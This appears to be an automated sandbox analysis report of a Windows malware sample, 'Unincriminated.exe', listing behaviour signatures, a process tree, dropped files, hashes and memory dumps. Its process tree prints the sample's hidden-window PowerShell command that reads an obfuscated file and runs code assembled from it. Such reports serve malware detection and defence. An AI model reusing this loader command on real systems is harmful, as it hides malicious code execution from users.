Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    11/09/2024, 14:37

General

  • Target
    Unincriminated.exe
  • Size 590KB
  • Sample240911-ry5jrsweqa
  • SHA256 cb299d64a1dd6aba4df3ffad101b457631e1bed26d3c2641e24dbcbf997e8198
  • MD5 SHA1 SHA512 SSDEEP
Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Unincriminated.exe
    "C:\Users\Admin\AppData\Local\Temp\Unincriminated.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:4280
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -windowstyle hidden "$Pingpongen=Get-Content 'C:\Users\Admin\AppData\Roaming\Palaeodictyopteron\testudskrivningsfaciliteters\Marinerede\Hydrocolloid.Smu85';$Sylviculture=$Pingpongen.SubString(54615,3);.$Sylviculture($Pingpongen)"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3348
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 3348 -s 2524
        3⤵
        • Program crash
        PID:3864
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 3348 -ip 3348
    1⤵
      PID:984

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

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          Downloads

          __PSScriptPolicyTest_jsfy44y3.tg1.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jsfy44y3.tg1.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512

          Hydrocolloid.Smu85

          • Path C:\Users\Admin\AppData\Roaming\Palaeodictyopteron\testudskrivningsfaciliteters\Marinerede\Hydrocolloid.Smu85
          • Size 53KB
          • SHA256 252830797da704b9e82d40c2047d718a86511fc63c6f51b02fda19335a8bfcf8
          • MD5 SHA1 SHA512 SSDEEP

          memory/3348-17-0x00000000060C0000-0x0000000006126000-memory.dmp

          memory/3348-24-0x0000000006780000-0x00000000067CC000-memory.dmp

          memory/3348-10-0x0000000005F40000-0x0000000005F62000-memory.dmp

          memory/3348-9-0x0000000074520000-0x0000000074CD0000-memory.dmp

          memory/3348-11-0x0000000005FE0000-0x0000000006046000-memory.dmp

          memory/3348-8-0x0000000005860000-0x0000000005E88000-memory.dmp

          memory/3348-5-0x000000007452E000-0x000000007452F000-memory.dmp

          memory/3348-22-0x0000000006130000-0x0000000006484000-memory.dmp

          memory/3348-23-0x00000000066D0000-0x00000000066EE000-memory.dmp

          memory/3348-7-0x0000000074520000-0x0000000074CD0000-memory.dmp

          memory/3348-25-0x00000000076B0000-0x0000000007746000-memory.dmp

          memory/3348-26-0x0000000006BF0000-0x0000000006C0A000-memory.dmp

          memory/3348-27-0x0000000006C40000-0x0000000006C62000-memory.dmp

          memory/3348-28-0x0000000007D00000-0x00000000082A4000-memory.dmp

          memory/3348-6-0x0000000003100000-0x0000000003136000-memory.dmp

          memory/3348-30-0x0000000008930000-0x0000000008FAA000-memory.dmp

          memory/3348-32-0x0000000074520000-0x0000000074CD0000-memory.dmp